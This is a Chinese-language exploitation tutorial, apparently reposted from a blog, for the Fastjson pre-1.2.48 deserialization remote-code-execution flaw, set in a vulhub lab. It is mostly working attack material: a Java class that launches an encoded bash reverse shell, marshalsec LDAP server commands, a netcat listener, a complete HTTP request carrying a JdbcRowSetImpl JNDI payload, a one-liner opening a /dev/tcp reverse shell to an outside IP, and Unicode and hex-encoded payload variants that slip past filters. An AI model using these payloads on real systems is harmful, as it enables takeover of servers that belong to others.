Fastjson 是阿里巴巴公司开源的一款 json 解析器,其性能优越,被广泛应用于各大厂商的 Java 项目中。fastjson 于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令。
关于 jndi 注入的利用方式我在这里简单提一下,因为 jndi 注入的利用受jdk版本影响较大,所以在利用的时候还是要多尝试的。
用 vulnhub 可以一键搭建漏洞环境
sudo docker-compose up -d
访问 8090 端口看到以下画面就是搭建成功
https://github.com/mbechler/marshalsec
安装 maven
yum install -y maven
切换到 marshalsec 目录下使用 maven 进行打包,
mvn clean package -DskipTests。
https://github.com/CaijiOrz/fastjson-1.2.47-RCE
或者也可以选择自己编写
public class exec{
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvXLEE23UwLjY4Lzk5OTUgMD4mMQ==}|{base64,-d}|{bash,-i}").waitFor();
}
}
javac Exploit.java
开启 LDAP 和 WEB 服务
LDAP:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IP/#Exploit 9987
python web:
python3 -m http.server 8000
或者python -m SimpleHTTPServer 8000
监听流量
nc -lvnp 8888
抓包重放
如果没有问题,ldap 会转发到 web 服务器,也会弹个 nc 回来
POST / HTTP/1.1
Host: 192.168.33.134:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 189
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.33.134:9988/Exploit","autoCommit":true}}
这个就简单很多了,直接用 LDAP 转发,或者用 RMI 都可以。
java -cp fastjson_tool.jar fastjson.HLDAPServer VPS地址 8888 "bash=/bin/bash -i >& /dev/tcp/118.193.33.101/4445 0>&1"
;如果要反弹shell,同时 nc 监听端口 4445。他会给两个payload{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.33.134:8888/Object","autoCommit":true}}
Unicode
编码和十六进制
编码){"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.33.134:8888/Object","autoCommit":true}}
{"f":{"\u0040\u0074\u0079\u0070\u0065":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://192.168.33.134:8888/Object","\x61\x75\x74\x6f\x43\x6f\x6d\x6d\x69\x74":true}}
原文:https://www.cnblogs.com/w0x68y/p/14196561.html